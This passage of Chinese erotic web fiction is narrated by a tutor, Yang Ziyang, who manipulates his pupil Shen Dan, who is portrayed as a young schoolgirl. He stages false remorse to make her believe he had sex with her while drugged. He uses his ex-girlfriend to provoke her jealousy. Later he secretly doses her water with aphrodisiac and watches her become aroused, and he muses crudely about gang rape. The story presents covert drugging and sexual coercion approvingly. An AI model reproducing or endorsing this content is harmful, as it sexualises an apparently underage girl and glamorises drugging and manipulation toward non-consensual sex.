果然姜珊一边转到我身前把拎着的一兜香蕉放到桌上坐在小护士那张椅子上,一边答道:「今天早上丹丹跑来找我,说你出事了,问我怎么联系你。我们和陈静一起到你住的地方找过,却发现那好像已经空了。后来我问了林默,她帮我打听到你居然住院了,我们这才赶来!」
说着也注意到我吊在脖子上的手臂,不禁关切地问:「你……你怎么弄成这个样子?大夫怎么说,严重不严重?」
沈丹显然并没将那晚的事情和姜珊说明,听她问起,再看了看惴惴不安都挂在脸上的小女孩,我用笑容安稳着她,答道:「哦,前天晚上我骑车摔的,正好让沈丹路过看见了!」
说着冲沈丹一笑,暗示她不必担心自己会抖出她的隐私,然后用力抬了抬已经不怎么疼痛的左臂,向她们示意:「你门看,都快好了,明早就可以出院了!」
屋里三个女孩,姜珊是一脸关切,沈丹又是心虚紧张又是看着我的伤势面带焦急,而赵欣蕊则有种我能察觉到的幸灾乐祸。可令我动心的是,陈静居然不是把地址告诉姜珊就算了,而是和她一起去的,这说明她对我还没有完全恩断义绝,虽然这个可能早在我意料之中可还是着实感到快慰。
看到我还没到恶贯满盈遭到天谴的地步,赵欣蕊口不应心的关心道:「哎,听说你住院了,可把人急坏了,我们静静今天一上午都闷闷不乐的,人家对你可真是痴心一片哟!」
我知道她是看出沈丹对我特别关心,想用陈静挑拨我俩之间的关系。可她哪知道,目前沈丹自己都不清楚对我是感激还是喜欢,一个『情敌』的出现反而能帮我给予她肯定的答复,这也是我这步棋子的妙处之一。
果然沈丹闻听此言立刻很不自然的撅起了小嘴,随即看见桌上那个削了皮的苹果,又向门口瞅了一眼,稍带点醋意的问:「这……这苹果是刚才那个姐姐给你削的?」
居然把它和朱萍萍联系起来了。
我倒真希望这苹果是朱萍萍给我的,可惜这个奢望太难成真了,还没等我回答,姜珊却道:「丹丹,你别抓着杨老师的手,小心弄疼他!」
原来沈丹关切之下一直握着我的手腕没松开,听姜珊这么说才意识到自己似乎表现的有点太亲近了,方轻轻放开了我坐直了身子。当下我又说起医生的诊断,好叫姜珊、沈丹两女放心,也使赵欣蕊不那么得意。
时值中午,姜珊看了看手表说道:「不早了,丹丹下午还要上课,你没事我就放心了,等你出院了我们再去看你!」
说着站起身来轻轻拉起快要依到我身上沈丹,向坐在我下首的赵欣蕊示意该是离开的时候了。
我佯装吃力的欠了欠身子,似乎想要站起相送而力所不及,嘴里却说:「嗯放心吧,过两天我就能上课了!」
可是小沈丹却领会错了我的意思,星眸流转着答应道:「嗯,我在家等你。」
又回过头看了我一眼,这才跟着赵欣蕊走出。
看到她俩已经出去了,姜珊却语重心长的对我说:「静静这些日子情绪一直很不好,今天听说你病了更是做什么事都心不在焉……」
说着向门口方向望了望道:「陈静可一直把你放在心上,你明天出院是不是该告诉她一声?」
然后会心一笑跟着二女出去了。
等她走后,我掂了掂那白净净的小苹果,心头思绪起伏不断。陈静看来对我还是放不下,也许我们还有再续前缘的机会。这个很好理解,作为她那样的女孩一定很怀旧,而且很宽容。对于一个骗了她却真正爱过她的男人、一个她也爱着的男人、一个得到了她宝贵贞洁的男人恋恋不舍,是在情理之中的事情。
可问题在于姜珊为什么和我说这些,难道她有意撮合我俩?她并不知道我们这几个月来发生的沧海桑田,希望有情人能成眷属。但我想这只是其中一方面,另一方面她从沈丹对我的态度上似乎察觉了什么。她不想小沈丹对我钟情,这才故意拉走了她,也存心提醒我别有芳草在天涯。
她为什么不希望沈丹喜欢上我呢,出于和陈静的朋友情谊?如果她是这个目的,那她为什么不和我提出将从她那让给我的家教从新接手过去呢?现在已临近期末,四级考试的第一次应考已经结束了,她应该有闲暇了,况且很明显她和沈丹已经相处的好似亲姐妹一样了,这不符合逻辑啊?
百思不得其解间我又想到了朱萍萍,她很显然有重要的事找我,可却因为蒋秋的出现被迫放弃了询问。难道她上次到我家找我不是走错了地方,而是没想到门里出现的会是我?哎,这女孩更是个谜!
这一天我就在对姜珊和朱萍萍的疑窦中慢慢度过,甚至夜里也会看着窗外朦胧月色,想的出神。
第八节孺子可教
第二天一大早沈丹就买了不少早点跑来看我,这次她是一个人来的。看来如果不是错非拉上姜珊不能找到我,昨天她根本不会惊动别人,当然这个结果是我希望看到的,但我还是装模作样的对她的逃课行为表示了不满,可小美女却只报以淘气和任性的一笑。
虽然吊着的绷带已经取了下来,我的左臂也不怎么疼痛了,可还是在她的悉心搀扶下,办理了出院手续,出门打的直奔天大。尽管我一再劝阻,可小沈丹还是坚持要送我回家。当车子停到天大北门边上时,刹车的动作略微大了一点,沈丹立刻表示了不满:「喂,慢点!」
旋即关切的问我:「哥哥,你没事吧?」
看我含着笑轻轻冲她摇头,这才打开车门和我下车。望着那夏利远去的背影她仍是愤愤不平:「这破车,早知道叫高大哥开那辆沃尔沃XC90来了!」
这时一个窈窕的倩影徐徐从铁栅栏门走出,站在我们的侧后方轻声叫道:「子扬,你出院了!」
待我回头,却发现正是阔别一月有余的温和美女陈静。虽然是三九严冬,她还是一身清素,一件奶白的防寒服下面灰蓝色长裤直垂到黑色棉皮鞋的鞋面。她双手提着那个尼龙绸的青灰色提包挡在身前,一脸的风尘仆仆,在北风中不住的来回跺着脚,一看就知道是等在这很久了。
「静静!」
虽是早已料到她可能出现,但一晃好些日子没见,当看到她时我还是掩不住心里一阵激动,忙快步走了过去想要接过她手里的包。
可陈静似乎没料到沈丹会送我回来,看着小女孩迟愣了一下,旋即轻轻躲开了我来拉她提包带子的手,稍微正了正容色道:「我自己拎吧,你……还是叫我陈静好了。」
然后扭头对沈丹问道:「丹丹你也在啊,不用上课吗?」
也许陈静尚不能完全忽略我最初接近她是一个陷阱的心理阴影,也许是因为有外人在场不好意思表现的过于亲近。
沈丹开始时见到陈静出现先是一愣,后来便热情的跟在我后面走过来,但看我俩彼此的神情和对话又觉得有点不太对劲,态度立刻冷却了不少,淡淡的答道:「嗯,我接杨哥哥出院来的!」
说着想来挽我的右臂。
昨天在姜珊和赵欣蕊面前,沈丹对我一直保持着『杨老师』的称呼,可是此时看见陈静立刻叫出了『杨哥哥』这个我俩单独在一起时她才用的称谓,而且语气和动作都较平时还要暧昧。我明显的察觉到,陈静确实如我所料的成了沈丹对我生出感情催化剂。
我轻巧的躲开了小沈丹想挽起我胳膊的双手,看陈静冻得那样子心里很是不忍,忙说道:「今天真冷,我租的小屋就在前面不远,我们到家再说吧!」
说着抢在前面引领道路。
「哦,不用了,我还有事要赶时间!」
陈静站在当地并没随我前行,看着靠我很近跟我并排向前走的沈丹说道。
我还没说话,沈丹已经跑过来拉住了陈静的手:「干吗这么着急嘛,哥哥的家离这就几步路,到家坐下暖和暖和喝杯水再走吧!」
说着指了指前面一处小平房密集的地方。
她的语气明显已经把自己当成了主人把陈静当成了客人,可她哪里知道,陈静虽然没有来过我这间小破屋,可是我们同床共枕的日子也有好几个月呢。
面对沈丹的『盛情』陈静再不好拒绝,随即和我一起向学校里面走去。
我从入户踏步旁一个不起眼的砖缝中取出钥匙,打开那扇被风吹的『吱吱』作响的木门,带着二女走进了这间不到三十平米的小平房,来到有暖气的卧室。
沈丹看着这间令她毕生难忘的简陋处所,不由得呆了一呆,这才搬来外屋的椅子请陈静坐下。
「你……你现在就住这里啊?」
陈静坐下来,接过沈丹倒给她的一杯温水,说罢了一声「谢谢」之后问道。
陈静这女孩平时说话很少,即便是在我们热恋之中,她也只是用甜甜的笑容来表达内心的幸福。可她虽然不善言辞,但心里想的事情却十分多。我见她自从一进屋就开始四处环视,此时又这么问,当下清楚了她的想法。
几个月的相处,我从一开始『给她』的大笔金钱之后,每每也在她需要时伸出援助之手。算下来,里里外外包括目的不纯的那两万多块钱,我在她和她妈妈身上确实给予了不少财政援助。作为一个毫无经济支柱的大学生,又是个无父无母的孤儿,陈静必定认为我是倾囊相授。故此,虽然叹我欺骗了她,却还是为我目前的『生活窘迫』有所感动。
当下我也不辩驳,只是苦苦一笑答道:「嗐,这不挺好的,离学校这么近,很方便!」
而我这个表情和说话,更坚定了陈静内心的想法,一时之间她心里莫可名状的涌上一股酸楚,竟是无言以对的低下了头。
沈丹坐在我旁边看着那脏兮兮的床单一个劲的出神,听到我俩的对话,更是微微撅起了小嘴。忙岔开话题道:「哎呀,哥哥,你该吃药了!」
说着取过从医院里带出来的装着各色药剂的塑料袋,分门别类的拿将出来,又跑去倒水。
「别忙活了,这都十点多了,你赶紧回学校吧!」
我轻轻撩起了散在床上的被子,想要把它叠起来。陈静看到我裹着夹板的左臂,立刻站起来,从我手中接过被褥帮我叠好。
可这些看在小沈丹的眼里她却很不舒服,瞟了一眼陈静才道:「没事的,我请了假了!」
说着看我自己准备好药片忙递过水来。除了口服的消炎抗菌药以外,医生还给我开了一包骨痛贴膏。沈丹自顾自的打开包装取出一贴,却不知道该贴在哪里。
「这个要贴到后背肩膀上!」
我说着慢慢解开衣服,一边脱上衣一边对二女言道:「你们出去一下好吗?」
「你自己怎么够得着,我帮你吧!」
说着沈丹就来拉我的背心。她丝毫也没有避嫌的意思,也不知她是真的已经把我当做了亲人,还是特意为了让陈静看到才这样做。
「膏药不是这么贴的!」
一旁的陈静见沈丹揭开药贴就要按在我的肩膀上立刻阻止道。看她傻愣愣的手足无措,陈静又把药贴从沈丹手里轻轻取过,对她说:「在贴之前要先用热水捂一捂,这样才能粘的牢。还有最好先涂些红花油舒经活血!」
「哦哦,好的!」
沈丹答应一声在药兜里来回翻找,嘴里嘟囔着:「红花油……红花油?没有啊!」
医生确实没有给我开药油。
「好了,别找了,你倒点开水吧!」
陈静说着从自己的包里拿出一瓶正红花油,打开包装撕去塑料密封条,倒在手上给我涂抹了起来。
那药油一看就是新买的,沈丹也发现了这一点,很不自然的一撅嘴,无奈的取过暖瓶向杯子里倒水。
待药油涂抹的微微产生了热度,陈静拿来毛巾擦干净,正准备用水杯捂热膏药,却一咋舌:「呀,这水不行太凉了!」
旋即抬头看着沈丹问道:「有没有开水啊?」
自从那天上午我离开家,暖瓶中的水就没换过,自然早已变的半温。
「这……」
沈丹一时不知所措,抱怨着说:「两个瓶子里的水都不热啊!」
旋即无奈道:「要不我去烧一壶吧!」
「算了!」
陈静四下看了看,探身将膏药背朝下放到了暖气片上:「这样也行啊,过会再贴吧!」
若论姿色客观的讲陈静恐怕要稍逊沈丹一筹,可是要讲到生活经验沈丹这蜜罐里泡大的小女孩拍马也赶不上日常生活都必须自立还要照顾生病的妈妈的陈静。
这一来一往,小女孩不由得立刻就给比了下去,当下露出些许惭愧神情,慢慢又转为了嫉妒,撅着嘴气呼呼的从背后盯着陈静。
而陈静则根本没顾及到她的反应,此时正好看见因为被褥被收拾整齐之后露出的又脏又破的床单。那上面有抓痕又有血迹还有不少污渍,要不是我早已有意修缮过这床单,单凭这上面的痕迹,以前常和我鱼水交欢的女孩一定能判断出这上面发生过什么。
「这床单太脏了,你现在手不方便,我帮你洗洗好了!」
陈静说着就要来撤掉它。
沈丹一把拦住了她,神情很不自然的扭捏道:「陈静……姐,不用了,我……我来吧!」
说着看了看手表,装作下意识的一声轻呼:「呀,都快十一点半了!」
抬头望着陈静关切的问:「你不是说还有事吗,这……」
陈静当然明白她在下逐客令,一时之间有点尴尬,她本来就是特意看我的,只不过因为我俩的心结和沈丹的在场不好明言,只得推说是路过顺便来看看。此时被沈丹这么一说再瞅瞅趴在床上的我,又不好意思再赖着不走了。
「真是,都这么晚了,那你们聊,我先忙去了!」
说着她站了起来就要往外走。
对于给沈丹心理上起到催化作用来说,这个目的已算达到了,陈静当前的利用价值已经结束,可我还是很不舍得她离开,也许她的背影是我心里一个隐痛。
当下我支撑着站起身来:「陈……陈静,再坐会吧,等吃了中午饭再走好了!」
「你有伤别乱动!」
沈丹轻轻按住了我,却对回过头来似乎有点恋恋不舍的陈静扬声道:「陈姐姐你慢走啊,我们就不送了,外面冷把衣服扣好了!」
「哦……好的!」
陈静看到沈丹的举止状态不禁一愣,忙将刚刚穿起的防寒服领口拉好,对着我说道:「你关节还有点肿别太用力,别沾凉水小心感染伤口,多休息多喝水,睡觉时多盖床被子别冻着!」
听我轻轻答应了一声,便转身出去了。
「真啰嗦!」
沈丹小声嘟囔着,看我兀自向门口张望,赶忙取过暖气片上的膏药,叫我从新趴好给我贴上。
从小我就孤单,还真没享受过异性为了我争风吃醋的待遇,当下也确实受用非常。更兼陈静明显对我尚存情谊,又增加了我心理创伤愈合的速度,使我浑身一下子轻松了不少。
我坐了起来整理好上身的衣服,看着从刚才一直被我压在身下那一点点床单上的殷红出神,呼吸也越来越急促。
刚开始沈丹以为我是因为陈静的离去而沉默,心里很不是滋味。可后来见我一直盯着床上的点滴鲜红发愣,而且神色很不自然,不禁心里有些纳闷,似乎想到了什么可一时又不能完全透彻。
便在此时我心事重重的偷眼看了看她,良久才吞吞吐吐的问道:「丹……丹丹,这几天一直都有外人在场,我有些……有些话没机会问你,我……」
说着手摸着床好像很不好意思的样子。
「你想问我什么?」
沈丹还没明白我的意思,居然坐到了我身边奇怪的望着我。
这小丫头太迟钝了,我心里真是有点好笑,不过这也好,她越笨越容易堕入我的圈套。当下我突然双手猛的抓住了她的肩头,激动地看着她说:「你……你告诉我,那天晚上我是不是对你做了什么,这……这血是怎么来的?难道……难道我吃了那药之后把你……把你……」
看我迫切又焦虑的望着她,还时不时瞅一瞅床单上的血迹,小沈丹终于『明白』了。哦,他是以为那天夜里跟我发生了关系,这血迹是女孩子第一次所留下的落红。
「你……」
沈丹面带浅笑,似乎想说出真相帮我放下心里的包袱。可看着我炙热的眼神难耐的表情,又想起了刚才我对陈静自然而然显露出来的依恋,当下改变了初衷,换出一副极度委屈的神情,用手臂分开了我抓在她肩头的双手,努着嘴佯作啼哭扭过去用后背对着我,良久才「呜呜」的哭道:「还说呢,你自己做了什么你都不记得了吗?」
「我……我我真的不记得了,当时我脑袋里蒙蒙的,根本不知道自己做过什么!」
我焦急的痛陈着当时自己的神志不清,紧跟着又像已经知道了答案了似的追问着:「我难道……难道真的把你?」
「你说呢?」
小美女轻轻侧过脸来,一副问责的语气。
「哎——」
我追悔不迭的重重扇了自己一个耳光,痛骂道:「我……我真不是人!」
沈丹被『啪』的一声惊得立刻扭过了头,看见我还要继续惩罚自己,立刻抓住了我高高扬起等在那里的手臂,惊呼道:「你……你这是干吗呀?」
「我怎么可以……」
说着我轻轻甩了沈丹的手,在她面前毫不掺假的又一下嘴巴狠狠打在自己脸上,紧跟着再一次扬起了那演技卓著的右手。
「别这样……你别这样!」
沈丹又一次扑过来死死抓住了我的手。
「我……我不是东西,你别拦着我!」
说话间我又甩开了沈丹,哪知道这次似乎用力有点过猛,竟将她闪的差点跌倒。
「啊!」
就在小美女惊呼出声快要摔下床的时候,我顾不得再惩罚自己,一下子拦腰抱住了她。
近在咫尺,我那脸上五道指痕清晰的看在小沈丹的眼中,她秋水流转眼角含泪,竟是一下子将我紧紧抱住,哭着说道:「哥哥,哥哥,你别打了,其实……」
我两手并没有搂她,而是懊悔万分的扬起了头,似乎这样才能止住即将怒出框外的泪水,颤声说道:「我不该啊,我怎么能对你做出如此禽兽不如的事情来?我不能原谅我自己,静静……静静她也不会原谅我的!」
本来沈丹看我追悔不迭的大扇自己耳光,一时不忍就想说:「其实你没奸污我,到现在我还保存着女孩子纯洁的身体。」
可是当我说出陈静来之后,她便立刻收回了原来的说话,跟着改道:「其实……其实我不怪你的,真的!」
我心里暗笑,沈丹这小丫头居然恁的好骗。如果说毫无性经验的她,不知道落红颜色较一般血液淡得多,这也能说得过去。可是刚才我的台词实在貌似韩台的言情剧,连我自己都觉得有点过假,而她居然听不出来?不过有一点我把握的很成功,那就是利用她好胜的心理,抬出陈静来刺激她。
果然原本要说出真相的她,基于对我连她自己也说不清楚的一点迷恋还是感激和对在这个『心上人』面前表现的比她优秀成熟的情敌的妒忌,沈丹最终没有吐露『真相』。这也正说明她希望得到我的眷顾,才会隐瞒下来,以博得我因为愧疚而产生的同情。
「哥哥,一切都过去了,我很庆幸那天晚上的人……是你!」
女孩子依偎在我怀里,把脸侧靠在我的胸口上,绵绵说道:「要不是你救了我,我可能……可能……」
要不是我救了你,你可能被七八个流氓轮流奸淫,肏的你生不如死,现在好了只有一个人干的你,还少了轮奸以后遭受的侮辱,是吧?可老子还没干你呢,别急,不远了!
我一边无限遐想,一边感受着女孩子温香软玉的柔美身躯,可嘴里还要忏悔:「不管怎么说,我都不应该……不应该!」
说着轻轻将她推了起来,扭过头不敢看她,闭上眼长长出了一口气,然后望着天花板叹息着说:「哎——你先走吧,我想一个人静一静!」
沈丹想不出安慰我的话语,又不想把实情告诉我,怕我甩掉了心里的包袱再也不关注她,坐在那里好半天才无奈的走了出去。见她三五步一回头的不舍样子我心里暗笑,同时也知道她不会轻易离开。
果然门前疏影晃动,我赶紧装出抱着脑袋死抓头皮懊丧的难以自解的样子,良久偷眼观察发现门口再没有动静,这才慢慢恢复了常态。
第二天我出现在学校课堂上,除了吴卫表示了一下关心以外,再没人对我发出诚挚的问候,就连特意跑到医院再次看望我的朱萍萍竟也是装作没发生过任何事一般。
时值中午,我吃罢午饭回到家,却看到门竟然开着。推门走进赫然发现沈丹竟已在屋里等着我了。
她看见我进来立刻站了起来,欣喜的望着我笑道:「你回来了,我等你好久了!」
那样子居然有点像日本少妇在迎接自己的老公一般,令我一时有点手足无措。
「啊?」
我愣了一下才问:「你是怎么进来的?」
其实我昨天特意暴露出藏匿钥匙的所在,好给予陈静和沈丹这两个女孩方便。
果然,沈丹一边拿出一串钥匙套在自己的食指上转来转去一边答道:「本小姐想进来,谁也拦不住,呵呵!」
那样子得意中透着天真可爱,真是令人百看不厌。
见我傻傻的看着她,小美女又邀功似的拍拍床头柜上的暖壶说:「水帮你做好了,屋子也帮你收拾了,怎么样,我能干吧?」
我看了看被她拾得乱七八糟的物品,只有摇头苦笑。突然间见到墙边放着一个长方形的小纸盒子,从包装上看,应该是床上用品一类的东西,于是指着问道:「这东西是你哪来的?」
「不是啊?」
沈丹似乎此时才注意到它的存在一般,一边把它拿到床上慢慢打开,一边说:「我刚才来的时候这东西就放在门口,我顺手就把它拿进来了……」
她说话间已经打开了包装,见到里面是张蓝白格子的单人床单,先是一愣紧跟着紧锁起了眉头。
「静静……」
我的第一反应就是陈静曾经来过,以她的性格即便是知道门钥匙唾手可得,但没有主人的允许她还是不会擅入的,这才把东西放到了门口。
听我不自觉地喊出了陈静的名字,沈丹神色立刻不自然起来,似乎她一上午的辛劳果实就这么被陈静不动声色的一个小动作给遮盖了下去一样。当下老大不高兴,一句话不说将那东西扔到一边,坐在床头生闷气。
「丹丹,你吃饭了吗?」
我关切地问道,可她似乎根本没听见一般。我只好走过去轻轻拍了她肩头一下,再次柔声询问:「丹丹,你几点来的,吃饭没有?」
「我不想吃!」
沈丹没好气的答了一句,旋即站起身来就往外走,边走边向不知所谓的我说道:「哥哥你等会,我就回来!」
等她走后,我细细的检查了一下被她弄得更乱的房间,发现了几个细节。其一,我走之前被褥已经叠的整整齐齐,床单也拉的平平的铺好了,可此时被子被放到了一边,而床单上清晰可见的有个人躺过的褶皱。其二,我扔在抽屉里那条她留下的内裤居然让她整整齐齐的叠了起来放在原位。其三,我留下的几件袜子和内衣现在已经被挂到了浴室的绳子上,而且还在滴滴答答的滴水,明显是她洗过了。
睡我的床、允许我私藏她的内裤还给我洗衣服。嗯,看来我的攻心策略进行的很顺利,不久的将来沈丹就会成为我的女人了。
半个多小时之后,听着外屋门声响动,我立刻拿出早就准备好的稀释过的春药喷在盛着半杯温水的杯子里,装作端起杯子想要喝水的样子。
『啪』卧室的门被沈丹用脚轻轻踢开,我抬头一看,见她居然大包小包的拎了好多东西进来。
沈丹将几个硬纸包装的箱子放到门边,呼呼直喘的走到我面前。见她如此奔波,我立刻站了起来,将手里的半杯水递了过去:「你这是干吗呀?来来,先喝口水!」
那水半温不热正好对口,小女孩全没怀疑的将看似被我喝了一半的杯中水一口气全灌了进去,放下杯子气喘吁吁的道:「呼呼……我去了趟友谊!」
说着不顾刚刚的舟车劳顿,将那一包一盒的东西依次全都打开。
当下我凝神观看,这里有纯棉床单、蚕丝被褥、锦缎枕套居然还有个镂空的纱质床帘,竟是全套的床上用品,而且还都是富安娜的名牌货。
沈丹一边用手将我拦到离床较远的地方,一边开始一件件拿出来,嘴里说道:「你这被子褥子都有味了,早该换换了!」
可她折腾了半天却发现自己买的四件套尺寸太大完全和我的单人床不搭杠,不由得又有点生自己的气,轻轻在床上砸了一下抱怨道:「哎呀,忘了忘了,这些都是双人床的!」
「丹丹,你别这样行不行!」
我心里好笑,可嘴上还要装出一本正经:「我已经觉得很对不起你了,求你别再对我这么好了!」
说着拉住了正不知所措的女孩子的胳膊。
「哥哥!」
沈丹回过身抱住我拉她的手臂,将它埋于自己引以为傲的两个乳峰之间,而她的小脑袋则贴在了我的肩膀上慢慢的摩擦起来,续道:「我就是想对你好,我……我知道你也对我很好……很好……」
说到这里晃动着我的右臂,来回的触碰着她那两团突兀,眼神既幽怨又委屈,真是令人生出无尽的怜爱。
渐渐地她的双手开始顺着我的胳膊下移,敛起了我的右手在自己的两腿之间那令男人销魂的所在轻轻的滑蹭,而两条腿也慢慢的并在了一起,小幅度的来回扭动,嘴里发出了「嗯……嗯……」
的轻哼。
我知道药效开始起作用了,但我下的剂量并不是令她无法克制急欲和我做爱的分量,只是让她神不守舍动情动欲而已。当下也不阻止她,用另一只手轻抚她的蓬松秀发,反而温言刺激她道:「丹丹,我有女朋友,就是昨天来的陈静姐姐!」
情与欲的火焰正开始燃烧,怎么可能被我这火上浇油的一句话所熄灭?沈丹闻听更是娇柔的在我耳边吐气如兰道:「不……不会的,她都没来看过你,她不喜欢你的!」
「不是的,你陈静姐姐不太会表达而已,而且我们……我们还没到那个程度!」
我伸出左手装作想要拨掉她抓着我的两只柔荑,却被她敛起轻轻放在了她那娇红羞涩的俏脸上。
「没……没到什么程度?」
沈丹也弄不清今天自己的行为为什么这么大胆,言语为什么这么直接,似乎冥冥中有种力量指引着她一般,居然问道:「没到我们的程度吗?」
说着捏住我的右手在自己小腹上慢慢摩挲起来,闭上了眼睛,嘴里更是:「嗯……呼呼……嗯……」
的娇喘呻吟起来。
今天我打定了主意绝不主动碰沈丹,为的就是要让她坚定对我的情爱欲火,故此放任自己的手被她拿来按在脸上、压在阴户上,竟是强自忍耐毫无动作。
此时的沈丹已经有点站不住了,身子一个劲的向下矮去,害的我除了要忍耐俏脸在手和桃园咫尺的诱惑以外,还要把持住那两个傲人乳峰在右臂上的不住蹭动。
突然,沈丹一下子站直了身,也睁开了因为陶醉而一直迷离微闭的双眸,皱眉羞赧的望着我,在我耳边轻语:「哥哥,人……人家好急……」
这一句一出口,我立刻后悔药量没控制好。沈丹要是此时要和我上床做爱,我真是有点左右为难。答应她吧,显得我太没好男人的自制力,可能会在她心里丢掉很多分数,也许会因此失去长期占有她的机会。可要是严词拒绝,又怕她和我从此羞于见面,再不敢来纠缠我。
谁知小丫头接下来居然续道:「哥哥,你这里……这里好像没有卫生间吧?」
闻听此言,我这才放下了心中的疑虑,可也有点失望,忙轻轻推开她答道:「我这确实没有卫生间的,要到外面。」
旋即一脸难色的说:「可那是公用的厕所,挺脏的!」
「哦,这样啊!」
沈丹听我这么说也有些犹豫,可紧跟着又是浑身一下轻颤,急道:「那也行吧,我一上午都没……人家快忍不住了!」
说着用手轻捂着小腹又要下蹲,当下我只好搀着她向胡同深处走去。
我住的地方可能是要进行平房改造了,没什么其他的住户,而且此时正是午睡时间,胡同里根本没人。沈丹急匆匆走进了女厕所,而我则站在外面等候。想想心中不禁好笑,这女孩子半清醒半痴迷的状态实在有意思,既没有丧失理性疯狂追求肉体欢愉的露骨,又带着三分娇媚淫荡。
正在回味时,突然女厕所里传来了沈丹「啊」的一声惊叫。我不及多想立刻冲了进去,嘴里呼着:「丹丹,丹丹,怎么了?」
等我进到这不算明亮的女厕所时,却发现沈丹正侧对着我站在那。她此时双手都攥成了拳头,胳膊挡在胸前,一脸惊怖的样子,身体都有些发抖了。而最令我失神的是,此时的沈丹居然还光着屁股,那两瓣丰满的雪白臀肉因为身体的抖动而微微轻颤,好不香艳。虽然因为是侧身相对,还不能看到她前面的沟壑丛林,可也足以令我下身陡然一紧。
「啊,杨哥哥!」
此时沈丹才发现我在她身后不远处门口的地方站着,正关切的看着她,可眼神却从她的上身慢慢移到了身下。小女孩这才意识到自己大大的走光,立刻内裤、秋裤、毛裤、外裤一股脑的提了起来,奔到我身前抱住我的脖子,犹有余悸的急道:「老鼠老鼠,有老鼠!」
听她这么说又看见黑暗之中的墙根底下小小的黑影快速的窜动,我才长出了一口气,原来沈丹只是看见了龌龊地方常见的小爬行动物而已,忙安慰道:「没事没事,别怕,它们不会过来的!」
旋即又问:「丹丹,你……你完事了吗?」
「嗯!」
小女孩想起刚才在我面前裸露着下身,又听我问到她上厕所的『工作进程』,羞答答低头应了一声,脑袋几欲埋进我的胸口。
我心里暗叫一个可惜,如果沈丹小解因老鼠未能顺利进行,在四周『强敌』的逼迫下,我很可能会亲身经历一下美女如厕的全过程,即便是没有眼福可享,最少也能饱饱耳福。
女孩子轻轻放开我草草系好下衣,和我一同走了出来,哪知迎头却遇到另一个少女正往厕所里面走进。我三人差点撞上,不由得同时闪身观瞧。一看之下三个人又都是同时一愣,我惊奇的发现面前的女孩居然是朱萍萍,而她看到我俩慌慌张张互相挽着从女厕所走出来,更是十分意外,一时之间三个人都没说话。
两秒钟之后,朱萍萍又向侧面闪了闪身,示意我俩可以出去,然后在我们让出的位置走进了女厕所。和我擦肩而过之时,下意识的用眼角余光瞟了我一下。
单只这一眼就看的我浑身不自在,也不知她是奇怪、诧异还是生了什么误会。
妈的,为什么我就这么善于在自己喜欢的女孩子面前出丑呢?早先一次在青年湖边上搞赵欣蕊,不巧被刘雪莹撞见,使她彻彻底底的打从心底里对我生出藐视和厌恶。后来在师大女生宿舍,陈静给我口交,正好又让姜珊差点撞上,虽然最终没有穿帮,可当时的狼狈真是难以言喻。上面两次说到底是我罪有应得咎由自取,虽说倒霉却也不能怨天尤人。可今天不同啊,我是清白的!但看见一个男人和一个女孩子从女厕所走出来,而且那女孩还一边走一边系裤子,神色又十分慌张,朱萍萍不误会才怪呢!如果她听见了沈丹的惊呼,更会以为我这个色狼对人家小女生做了什么不可告人猥琐下流的事情。看来我这次是跳进古今中外哪条河也洗不干净了。她来这鬼地方干什么?上次说找错房间,但明显是冲着我来的,昨天又欲言又止的向我询问什么事情,难不成她今天到这也是来找我的?
我正胡思乱想的时候,抓着我胳膊的沈丹轻轻问道:「哥哥,刚才这位姐姐是不是昨天去医院看你的那个?」
被她这么一问我才回过神来:「啊,对是她。她是我们班同学!」
「她也住这附近吗?」
沈丹明显在怀疑我和朱萍萍之间的关系,她这女孩子的脾气我早摸透了,从小娇生惯养别人都宠着她顺着她,使她天生有种凌驾于别人之上的优越感。昨天被陈静弄得大大出丑,心里虽然很不甘愿,但那毕竟只是她不怎么在意的生活细节。可今天朱萍萍的再次出现则让她不能不对自己一直以来引以为傲的外表产生出动摇,因为朱萍萍就是个令所有男人为之心动又令无数女性嫉妒不已的天香国色。
沈丹的问话更使我产生了襄王有梦神女无情的哀叹,当下含混的应承着:「我们不是很熟,我也不知道!」
旋即为了叉开小女孩的思路,立刻又说道:「丹丹啊,我想今天晚上和你爸爸辞去这家教的工作,我不想干下去了!」
「为什么?」
沈丹一下子放开了我的手臂,失望、伤心和不解全挂在了脸上,撅着小嘴几乎要哭出来一般。
「我……我……」
支支吾吾的,我才慢慢说道:「虽然那天的事情不是我的本意,而且你也说原谅了我,可是……可是……」
我在沈丹焦虑的眼神注视下,『可是』了半天才续道:「可是我始终无法面对你,看见你这么……这么天真浪漫、这么漂亮的一个小女孩毁在我的手里,我……我真的放不下!」
此时我俩已经向胡同口外走去,沈丹发现我竟是有意不再回屋,而是向外送她。她现在是左右为难,一来不想让我明白『真相』而放下对她的特殊情结,二来也因此就要失去了和我这个贴心的『家教老师』单独相处的机会。但我知道对于这个从小就被宠着的小公主来说,她每每想要些什么都会自然而然的降临到她身边,所以越是难以得到的东西,对她来说越珍贵也越有所求的欲望。
果然沈丹一下子站住了脚步,严肃的看着我正色问道:「那我要是不让你辞职呢,你会不会为了我放弃这个念头?」
她把『为了我』说的很重,这等于在问我对她到底有没有好感,她有没有机会。
「我……」
迟疑了一下,我才缓缓答道:「如果没发生过那样的事情,我真的很喜欢和你相处,甚至曾经有过非分的想法。可……可现在,我觉得我不配!」
这些话虽然语气还是一样的坚定和自悲,但却自然而然的把一部分的主动权让出来给了她。
「好!」
沈丹突然扬起了小脸带着撒娇的成分,用命令的语气说道:「那你今天晚上必须来,我说的!」
「这……」
我还在假装犹豫,沈丹居然凑到我耳朵边上小声说:「如果你今天不来,我就把你欺负我的事情告诉陈静姐姐去,哼!」
语气里透着调皮,似乎想看我拿她毫无办法的样子。
没关系,你既然想要挟我,我便顺着你的心思伪装下去。听她说完我立刻侧过头来微微愠色的看着她:「你不能……」
话还没有说完,小女孩突然踮起脚尖,双唇陡的印在我的嘴上,然后乍合即分,立刻转过身去一蹦一跳得意洋洋的走了。
感受着她朱唇上传来的香艳余温,看着她头也不回狡计得售的背影消失之后,我走回屋里。这本来不大的一间屋子,床上净是沈丹自以为是之下买来的完全不合适的床上用品,我不禁得意的笑着。嘿嘿,沈丹小妹妹,快了,你马上就会成为我杨子扬的床上用品了!